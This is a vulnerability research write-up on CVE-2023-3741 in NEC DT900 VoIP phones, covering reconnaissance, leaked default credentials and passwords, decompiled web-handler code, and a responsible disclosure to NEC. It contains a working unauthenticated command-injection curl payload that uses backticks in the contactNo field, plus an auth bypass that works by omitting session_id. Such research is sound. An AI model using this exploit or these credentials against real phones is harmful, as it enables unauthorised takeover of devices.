CVE-2023-3741: how we hacked a VoIP telephone
Almost every room in our University is equipped with a VoIP phone. Our hacking lab is located in the “Sede scientifica” building inside the University of Parma Campus. This means we have access to a VoIP telephone too.
The model installed in our lab is a DT900 VoIP phone manufactured by NEC. From the NEC website, UNIVERGE IP Desktop Phones DT900 Series is a highly reliable and versatile suite of IP telephones.
They forgot to advertise that these telephones are running Linux.
Initial reconnaissance
We started poking at the telephone by running a nmap
scan, which revealed
many open ports:
80
and443
for the web interface5060
and5061
for SIP
A web interface was indeed available on both ports 80 and 443. This allows an administrator to remotely adjust settings without having to be phisically present.
The interface required us to login with a valid credential. After having googled a bit, we found the default passwords along with a bonus nasty backdoor account.
We only had laid our eyes on the target for 10 minutes and we already
secured ADMIN
access. Unsatisfied, we continued our search, since we were
looking for more.
Gaining SSH access
In the web interface menues there’s an option to enable SSH access, which, of course, we enabled. After all, who wouldn’t want to SSH into their own telephone?
After rebooting, port 22
was open and reachable.
Finding the SSH credentials was just as easy as finding the web interface ones,
since they had already been leaked online on the same website
(not that 842444
would have been particularly difficult to crack).
The SSH server on the device is pretty old and does not support a lot of newer algorithms. In order to connect from a modern system, we need to set some SSH flags.
ssh -o "KexAlgorithms +diffie-hellman-group1-sha1" -o "HostKeyAlgorithms +ssh-dss" -o "Ciphers +aes128-cbc" [email protected]
An initial inspection revealed that the entire phone functionality is provided
by a single binary called lynxphone
, which causes a restart when it dies,
a standard IoT practice.
Dumping the firmware
We didn’t have a firmware upgrade file available but we still needed a way to extract a firmware image. We could have used the USB port on the back of the phone, but we opted for the much simpler solution of copying one file at a time via SSH, with an extremely powerful and clean Python script.
Compressing was not an option due to the limited amount of RAM available on
the telephone. Other utilities like scp
and rsync
were also missing.
So, this is the script:
import os
import subprocess
import sys
path = sys.argv[1]
files = subprocess.check_output(f"sshpass -p 8442444 ssh [email protected] -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=diffie-hellman-group1-sha1 -c aes256-cbc 'find {path} -type f'", shell=True).decode().split("\n")
for file in files:
os.makedirs(os.path.dirname(file)[1:], exist_ok=True)
os.system(f"sshpass -p 8442444 ssh [email protected] -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=diffie-hellman-group1-sha1 -c aes256-cbc 'cat {file}' > {file[1:]}")
Finally, we had a copy of the entire filesystem. We were particularly
interested on the lynxphone
binary, which we promptly fed to Ghidra.
Finding the bug
Since the web interface is enabled by default, it is a perfect target to look for bugs. We dug into the code responsible for handling the web requests and the way it functions is pretty… let’s say it just works.
When a HTTP request comes in, it is handled by lighttpd
which passes it to
a binary called ipc_client
using CGI. ipc_client
wraps the request into a
message and forwards it to lynxphone
using a shared in-memory queue.
Based on the request ID, different handlers are used (menu, main, header and
footer). Requests with a body are handled quite differently from the GET
ones, as you can see from the code.
// webcgi_get_form
printf("[WebCGI]%s : Start\n","webcgi_get_form");
req_method = httpGetEnv(req_id,"REQUEST_METHOD");
printf("[WebCGI]request method : %s\n",req_method);
if (req_method == (char *)0x0) {
printf("[WebCGI]error\tfile:%s\nline:%d\n","webcgi_cgimain.c",31292);
return 0;
}
is_req_post = strcmp(req_method,"POST");
if (is_req_post == 0) {
// do more stuff
// see snippet below
return 1;
}
return 0;
First of all, the body of the request is read from a file called /tmp/abc.txt
,
which is just a funny name I guess? It is then parsed…?
// handle POST request
tmp_fd = fopen("/tmp/abc.txt","r");
printf("[WebCGI]http request is POST.\n");
content_len_str = httpGetEnv(req_id,"CONTENT_LENGTH");
content_len = atoi(content_len_str);
content_buffer = (char *)malloc(content_len + 1);
if (content_buffer == (char *)0x0) {
return -1;
}
if (tmp_fd != (FILE *)0x0) {
local_54 = fread(content_buffer,1,content_len,tmp_fd);
fclose(tmp_fd);
content_buffer[content_len] = '\0';
memcpy(form_split_delimiters,":{}\"",5);
form_size = 0;
form_data[0] = strtok(content_buffer,form_split_delimiters);
while (form_data[form_size] != (char *)0x0) {
next_form = form_size + 1;
form_size = next_form;
pcVar2 = strtok((char *)0x0,form_split_delimiters);
form_data[next_form] = pcVar2;
}
// read form_data content
}
If you haven’t noticed already, strtok
is trying to parse a JSON object.
Pretty nice, huh? There’s no reason for your JSON parser to be more than 8
lines long.
Additionally, there are no bound checks on the number of items placed in
the form_data
array, causing out of bounds writes on the stack.
This will be covered in another article.
The JSON parsing function is triggered by the insert contact functionality in the address book inside the web UI. It should allow logged users to upload a contact image along with other details.
This JSON object can contain many keys, but the most interesting ones are
session_id
and contactNo
.
The form_data
array is iterated field by field and if the key matches a known
one, the value (the field found at index + 1) is processed and placed in a
local variable.
So, for example, the contactNo
field is read as follows:
is_contact_no = strcmp("contactNo",form_data[form_idx]);
if (is_contact_no == 0) {
strcpy(field_contact_no,form_data[form_idx + 1]);
is_contact_no_invalid = strcmp(field_contact_no,",");
if (is_contact_no_invalid == 0) {
append_to_resp_body(req_id,0,"DIRECTORY_ERROR = Name Or Number Is Empty\r\n");
free(content_buffer);
return -1;
}
}
The session_id
is not stored in a local variable, but checked right away:
is_session_id = strcmp("session_id",form_data[form_idx]);
if (is_session_id == 0) {
sess_num = strtol(form_data[form_idx + 1],(char **)0x0,0x10);
if ((sess_num != LOGIN_SESS_NUM) || (DAT_00a72f9c == 1)) {
append_to_resp_body(req_id,0,"DIRECTORY_ERROR = Session is Expired!!\r\n");
free(content_buffer);
return -1;
}
}
After the code has looped all the form_data
elements, the contact
image is decoded and saved. The contact is then added to the database.
field_image_9j = strstr(field_image,"/9j/");
field_image_default = strstr(field_image,"/iJ308XlT2ybR/iJ308XlULRBNDti2jEEfaN4zw4U8XlXGvOrNSahc03y81VY1hy1j5Pcae0NHug9+FxEQEREH/9k=");
field_image_webcgi = strstr(field_image,"webcgi");
field_image_tmp = strstr(field_image,"/tmp/");
field_image_http = strcmp(field_image,"http");
if (((field_image_http == 0) || (field_image_webcgi != (char *)0x0)) ||
(field_image_default != (char *)0x0)) {
strcpy(field_image_name,"empty");
}
else if (field_image_tmp == (char *)0x0) {
if (field_image_9j != (char *)0x0) {
i = 0;
strcpy(contact_no_clean,field_contact_no);
for (i = 0; uVar1 = i, sVar3 = strlen(contact_no_clean), uVar1 <= sVar3; i = i + 1) {
if (contact_no_clean[i] == '#') {
contact_no_clean[i] = '0';
}
}
image_tmp_fd = fopen("/tmp/image.txt","w");
if (image_tmp_fd != (FILE *)0x0) {
fprintf(image_tmp_fd,"%s",field_image);
fclose(image_tmp_fd);
}
sprintf(base64_cmd,"base64 -d /tmp/image.txt > /tmp/%s%s.jpg",contact_no_clean,field_image_name);
local_3c = system_fork_sh_wait(base64_cmd);
if (local_3c != 0) {
log(4,"***IMAGE DECODE FAILED*** : %d\n",0x7af1);
}
}
}
else {
strcpy(field_image_name,field_image);
}
drctry_dmnApi_changeRecord(name,field_contact_no,field_speed,field_monitor,req_id,field_index,field_image_name);
free(content_buffer);
return -1;
It’s evident that there’s a major command injection vulnerability with the
contact_no_clean
and field_image_name
variables.
This vulnerability stems from the system_fork_sh_wait
function executing
commands with sh -c
, enabling shell substitution and injection.
Less obvious is the fact that authentication can be fully bypassed by omitting
the session_id
field from the request.
Without the session_id
, authentication is never validated, allowing
passage as if authenticated.
There are also many buffer overflow vulnerabilities due to the unchecked
use of strcpy
, which can cause denial of service by crashing the lynxphone
application.
Exploiting the bug
The exploit isn’t particularly fancy and can be executed with a single line of curl:
curl -X POST --data '{"name":"1337","contactNo":"1337`touch /tmp/pwned`","index":0,"speed":"1337","monitor":"0","image":"/9j/4AAQSkZJRgABAQAAAQABAAD/4gHYSUND","image_name":"1"}' http://10.10.10.10/index.cgi
The magic happens inside the contactNo
field, where backticks are used to
execute the touch /tmp/pwned
command.
The exploit is quite stealth as it doesn’t trigger any alarm on the phone itself like the Web Interface does (the phone display shows a message when a user is logged in the web UI) and can potentially compromise the phone by installing a backdoor.
Notes on GDB and emulation
During exploit development we needed a way to debug without having a real phone
available at hand. We tried to emulate the lynxphone
application using
qemu-user
and chroot
, but it failed SIGSEGV
-ing, trying to use
non-existent devices.
We overcome this by using a statically compiled gdbserver
on a real DT900
telephone, available under our IoT Tailscale-enabled subnet.
Disclosure
We reported the Aforementioned bug to NEC, the VoIP phone manufacturer, via their Vulnerability Disclosure Program. They got back to us pretty fast.
The fix was available after a little longer than usual (after 3 months from the initial disclosure). They handled it very professionally and took care of reserving a CVE and disclosing it, since they are a registered CNA.
Talk
We gave a talk about this vulnerability during the GARR Workshop in 2023. You can find the talk here, in italian.